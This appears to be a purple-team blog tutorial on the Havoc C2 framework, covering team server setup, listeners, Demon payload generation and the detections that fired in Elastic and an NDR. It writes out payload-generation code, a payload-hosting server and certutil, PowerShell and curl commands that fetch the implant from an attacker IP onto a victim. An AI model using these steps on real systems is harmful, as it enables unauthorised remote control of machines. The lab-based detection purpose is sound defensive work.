HAVOC C2: COMMAND & CONTROL FRAMEWORK [PART: I]

Views: 4

A deep-dive into deploying and operating Havoc — the modern, open-source post-exploitation C2 framework built for red teams and purple team simulation labs. From installation and team server configuration to listener setup, payload generation, and agent tasking.

What is Havoc C2?

Havoc is an open-source, modern Command and Control (C2) framework developed by C5Spider (Paul Ungur) and released publicly on GitHub. It was designed from the ground up as a post-exploitation platform tailored for red team operators who need a sophisticated, extensible, and operationally secure C2 platform — without the commercial price tag of tools like Cobalt Strike.

Havoc emerged as a direct response to the security community’s need for a next-generation implant framework that could match and in some cases exceed the evasion and capability profile of commercial tools. It has since become widely adopted in red team operations and is now packaged directly in Kali Linux repositories, which speaks to its operational maturity.

From a purple team perspective, Havoc is an excellent simulation platform because it closely mirrors the Tactics, Techniques, and Procedures (TTPs) of real-world advanced threat actors. When you deploy Havoc in a controlled lab environment, the artifacts, network traffic, and host-based indicators it generates are representative of genuine adversary behaviour — making it ideal for validating detections in your SIEM, testing EDR coverage, and stress-testing your SOC playbooks.

Authorisation Required

Havoc C2 is a powerful offensive tool. Its use must be authorised in writing by the asset owner. Deploy it only in isolated lab environments or during engagements where explicit written permission has been obtained. Unauthorised use is illegal.

Architecture Overview

Havoc follows a classic multi-tiered C2 architecture, but with a modern communication and extensibility layer. Understanding this architecture is critical before deploying — it determines how traffic flows, where you tune your listeners, and which components defenders will be looking for.

Key Components

Team Server — The backend daemon written in Go. It manages operator sessions, hosts listeners, tracks active agents, and processes task queues. All configuration is driven by a yaotl profile file (HCL syntax). Operators authenticate to the team server from the client.

Havoc Client — A Qt-based graphical front-end that operators use to interact with the team server, manage listeners, view live agent sessions, issue tasks, and review output. Multiple operators can connect simultaneously, making it collaborative — similar to Cobalt Strike’s team server model.

Demon — Havoc’s native implant (payload). The Demon is a shellcode-based agent written in C/Assembly that executes entirely in memory. It supports multiple sleep techniques, jitter, and indirect syscalls — characteristics designed specifically to evade modern EDR behavioural detection. On execution, the Demon beacons back to the configured team server listener over HTTP, HTTPS, or SMB.

Listeners — The server-side handlers that accept inbound agent connections. Havoc supports HTTP/S listeners with malleable profiles, and SMB listeners for pivoting through pivot agents.

Extensions / External C2 — Havoc exposes a Python-based API for scripting and extending operator workflows. It also supports an External C2 channel model for advanced custom transports.

Core Capabilities

Havoc’s capability set is extensive and covers the full post-exploitation lifecycle — from initial access foothold to lateral movement, credential access, and data staging. Below is a breakdown of its primary offensive modules.

Installation on Kali Linux

As of Kali Linux 2023.1 and later, Havoc is included in the official Kali repositories. This means you no longer need to compile it from source or manage Go toolchain dependencies manually — a simple apt command is all it takes.

Step 1 — Update Your Package Index

Always refresh your package lists before installing to ensure you are pulling the latest available version from the Kali repos.

sudo apt update

sudo apt update

Step 2 — Install Havoc

Run the following command. APT will resolve all dependencies automatically, including Go runtime libraries, libssl, PostgreSQL client libraries, and the Qt front-end dependencies.

sudo apt install havoc

sudo apt install havoc

Step 3 — Verify the Install

Confirm that Havoc was installed correctly by listing the contents of its installation directory at /usr/share/havoc. You should see four core directories: client, data, havoc (the binary), payloads, and profiles.

Alternative: Build From Source

If you need the absolute latest version or are on a non-Kali Debian/Ubuntu system, you can build Havoc from source. Clone the GitHub repository at https://github.com/HavocFramework/Havoc, install the Go 1.21+ toolchain and the required Qt5 dev packages, then run make client and make teamserver from the repository root.

Starting the Team Server

The team server is the heart of Havoc. Before it can run, it needs a profile file — a Yaotl/HCL configuration that defines the team server’s bind address, port, operator credentials, and listener defaults. Havoc ships with example profiles in /usr/share/havoc/profiles/.

The Profile File

Navigate to the profiles directory and inspect the example profile. At minimum you need to configure the Teamserver block and an Operators block.

Launching the Team Server

With the profile configured, start the team server daemon by pointing it at your profile file using the --profile flag. Run this on your dedicated C2 server or attacker VM.

• Enter, “havoc server –profile ./profiles/havoc.yaotl -v”

“-v” starts Havoc in verbose mode. If you want debug information, you can also add, “–debug”

Start server (needs root for port 443; use 8443 to avoid it)

# In a dedicated tmux pane 

sudo havoc server --profile ./profiles/havoc.yaotl --debug 



# Or without root on a high port — edit profile Port = 8443

havoc server --profile ./profiles/havoc.yaotl --debug

# In a dedicated tmux pane 

sudo havoc server --profile ./profiles/havoc.yaotl --debug 



# Or without root on a high port — edit profile Port = 8443

havoc server --profile ./profiles/havoc.yaotl --debug

Common Team Server Flags

Operational Security

Never expose the team server’s management port (40056) directly to the internet. Use SSH tunnelling or VPN to restrict access to authorised operators only. In a real engagement, team servers live behind a redirector layer (e.g. Apache/Nginx mod_rewrite) to obscure the actual C2 infrastructure.

Connecting the Havoc Client

The Havoc client is the operator-facing GUI. Once the team server is running, launch the client from the same machine or any operator machine that can reach port 40056 on the team server.

Launching the Client

./havoc client

./havoc client

Connecting to the Team Server

In the client GUI, navigate to File → New Profile and fill in the connection details:

• Name: Any descriptive label for this profile (e.g. lab-teamserver)
• Host: The IP address or hostname of the machine running the team server (e.g. 192.168.100.50)
• Port: The port defined in your profile (default 40056)
• User: An operator username defined in the Operators block of your yaotl profile
• Password: The corresponding password

Click Connect. The client will perform a TLS handshake to the team server and authenticate. On success, the main dashboard loads — you will see the Sessions pane (empty until agents check in), the Listeners panel, and the Event Log.

Multi-Operator Mode

Havoc supports collaborative operations. Multiple operators can connect simultaneously to the same team server. Operator chat and shared session visibility are built in — all operators see the same sessions, listeners, and event log in real time.

Creating a Listener

A listener is a server-side handler that sits on the team server and waits for inbound beacon connections from deployed Demon agents. Without a listener, agents have nowhere to connect to. Havoc supports HTTP, HTTPS, and SMB listeners.

HTTP/HTTPS Listener Setup

In the Havoc client, navigate to View → Listeners and click Add. Configure the following fields:

Click Save. The listener starts immediately. You will see it appear in the Listeners panel with status Running. Note the Callback Host and port — you will need this when generating your payload in the next step.

We can see the status of the Havoc in the Event Viewer window.

SMB Listener (Pivot Agents)

For internal network pivoting where the compromised host has no direct internet access, create an SMB listener with a named pipe (e.g. \\.\pipe\havoc). A pivot Demon relays traffic between the SMB agent and the HTTP listener via the named pipe — this is analogous to Cobalt Strike’s SMB Beacon chaining.

Generating Payloads (Demons)

With a listener running, the next step is to generate a Demon payload — Havoc’s native shellcode-based agent. The Demon is compiled cross-platform using the MinGW toolchain bundled with Havoc and produces a variety of output formats suitable for different initial access scenarios.

Payload Generation via the GUI

Navigate to Attack → Payload in the client menu. The payload builder will appear with the following key options:

Havoc gives you several options. We will just take the defaults and chose a Windows Executable for the payload type. You should see your new listener listed. If not, select it from the drop-down box. Make any changes you want, I made none, then click “Generate”. Havoc will create our attack payload. It will take a few seconds for it to generate, it will then prompt you to save it.

Now, we need to deliver the payload to the target machine and run the payload on it.

Generating via CLI (Headless)

You can also generate payloads using the Havoc teamserver API directly. This is useful in automated red team pipelines where you need to generate a fresh payload on demand without the GUI.

import havoc
import havoc.client

# Connect to the teamserver
client = havoc.client.HavocClient(
    host="192.168.100.50",
    port=40056,
    user="redwolf",
    password="SuperSecretPass123!"
)

# Generate a 64-bit shellcode Demon for the http-lab-01 listener
payload = client.generate_payload(
    listener="http-lab-01",
    arch="x64",
    output="shellcode",
    indirect_syscalls=True,
    sleep=5,
    jitter=30
)

with open("demon.bin", "wb") as f:
    f.write(payload)

import havoc
import havoc.client

# Connect to the teamserver
client = havoc.client.HavocClient(
    host="192.168.100.50",
    port=40056,
    user="redwolf",
    password="SuperSecretPass123!"
)

# Generate a 64-bit shellcode Demon for the http-lab-01 listener
payload = client.generate_payload(
    listener="http-lab-01",
    arch="x64",
    output="shellcode",
    indirect_syscalls=True,
    sleep=5,
    jitter=30
)

with open("demon.bin", "wb") as f:
    f.write(payload)

Lab Tip — Disable AV on Test VMs

When testing payload delivery in your homelab, either disable Windows Defender on your test VM or use the Defender exclusion path feature to prevent the payload from being quarantined before you can test your detections. For purple team work, keep AV enabled to observe exactly how your payload interacts with real endpoint controls.

Payload Delivery & Session Establishment

Hosting the Payload — Python HTTP Server

With the Demon payload compiled and ready, we need a way to serve it to the victim machine. In a real engagement, an attacker would use a purpose-built delivery mechanism — a phishing link, a compromised website, or a USB drop. In our lab environment, a simple Python HTTP server is sufficient and gets the job done in seconds.

On your Kali attacker machine, navigate to the directory containing the compiled payload and spin up the server:

cd /tmp/payloads
python3 -m http.server 9999

Your payload is now reachable at http://<attacker-IP>:9999/demon.exe. Confirm the server is listening before moving to the victim machine.

Downloading the Payload on the Victim Machine

Switch to your Windows victim VM. Open a PowerShell terminal and pull the payload down from the attacker’s HTTP server using one of the following methods:

# Method 1 — PowerShell WebClient (most common)
Invoke-WebRequest -Uri "http://192.168.100.50:8080/demon.exe" `
                  -OutFile "$env:TEMP\demon.exe"

# Method 2 — certutil (LOLBin, mimics real-world attacker behaviour)
certutil -urlcache -split -f "http://192.168.100.50:8080/demon.exe" demon.exe

# Method 3 — curl (Windows 10/11 native)
curl http://192.168.100.50:8080/demon.exe -o demon.exe

Once downloaded, execute the payload:

Lab Note: Using certutil or Invoke-WebRequest for payload staging is intentional here — both are well-documented LOLBin (Living off the Land Binary) techniques mapped to MITRE ATT&CK T1105 (Ingress Tool Transfer). This gives your SIEM a detection opportunity even before the C2 session is established.

Elastic Security Fires — Malware Alert

Within seconds of execution, Elastic Security raises an alert. The Demon agent’s behaviour — writing a PE to %TEMP%, spawning a sacrificial process, and injecting shellcode — triggers multiple detection rules simultaneously:

• Malicious File — PE written to a temporary directory by a non-standard parent process
• Suspicious Process Execution — Child process spawned from %TEMP% path
• Network Connection by Unusual Process — Outbound HTTP beacon to a new external IP

This is exactly the visibility you want your blue team to have. Document each alert — rule name, severity, triggered timestamp, and the process tree — as evidence that your detection stack is covering the initial execution phase.

Live Session Established

Back on the Kali attacker machine, the Havoc client’s Sessions pane updates in real time. A new Demon agent checks in, displaying:

• Hostname and internal IP of the victim
• User context the payload executed under (e.g. DESKTOP-LAB01\redwolf)
• Process ID of the injected process
• Operating system version and architecture
• First beacon timestamp and sleep interval

Right-click the session and select Interact to open the operator console. You now have full post-exploitation access to the victim machine. The C2 channel is live, encrypted, and beaconing at the configured interval — ready for the next phase of the simulation.

🚨 But We Were Already Being Watched…

While the Demon agent was beaconing and the session was live, something else was happening on the network that we didn’t mention — our ClearNDR (Network Detection & Response) was quietly building a case.

34 alerts. Fired silently. Without touching a single endpoint.

Take a look at what the network saw:

ClearNDR Detections

Within minutes of payload delivery, the NDR had already mapped the entire attack chain — not from endpoint telemetry, not from a SIEM rule, but purely from network traffic analysis:

The attacker IP 203.0.113.76 was flagged as Offender. The victim 10.10.10.103 was identified. The HTTP C2 channel was fully reconstructed — referrer, user-agent, ports, and all.

This is what an unencrypted, default-configured Havoc listener looks like to a properly deployed NDR. Loud. Obvious. Caught.

What’s Coming in the Havoc C2 Series

This post was Part 1 — the setup. Here’s where the series goes next:

Part 2 — Red Team: Operating Havoc Post-exploitation interactions in the operator console. Process injection, token theft, lateral movement, in-memory .NET execution — and how each action maps to MITRE ATT&CK.

Part 3 — Blue Team: Detecting Havoc We flip sides. Using Elastic SIEM, Suricata, and ClearNDR, we hunt every technique from Part 2. Detection rules, ES|QL queries, and a full coverage gap analysis.

Part 4 — Hardening: Making Havoc Harder to Catch HTTPS listeners, malleable profiles, sleep masking, indirect syscalls — and whether they actually defeat the detections built in Part 3.

Wrapping Up

In this post we covered the full setup of Havoc C2 from scratch — what it is, how its architecture works, installing it on Kali Linux, configuring the team server, standing up a listener, generating a Demon payload, delivering it via a Python HTTP server, and confirming a live session in the operator console.

At this point you have a fully operational C2 channel running in your lab — Havoc is listening, the Demon is beaconing, and Elastic Security has already flagged the initial execution. That last part is important: the goal of this lab is not just to get a shell, but to generate realistic adversary telemetry that your detection stack can be measured against.

In Part 2, we’ll dive into the operator console and walk through post-exploitation interactions — process injection, token manipulation, lateral movement, and in-memory .NET execution — while mapping every action to MITRE ATT&CK and validating detections in Elastic SIEM in real time.

Follow NetwerkLABS so you don’t miss Part 2. The red team goes loud — and the blue team is ready.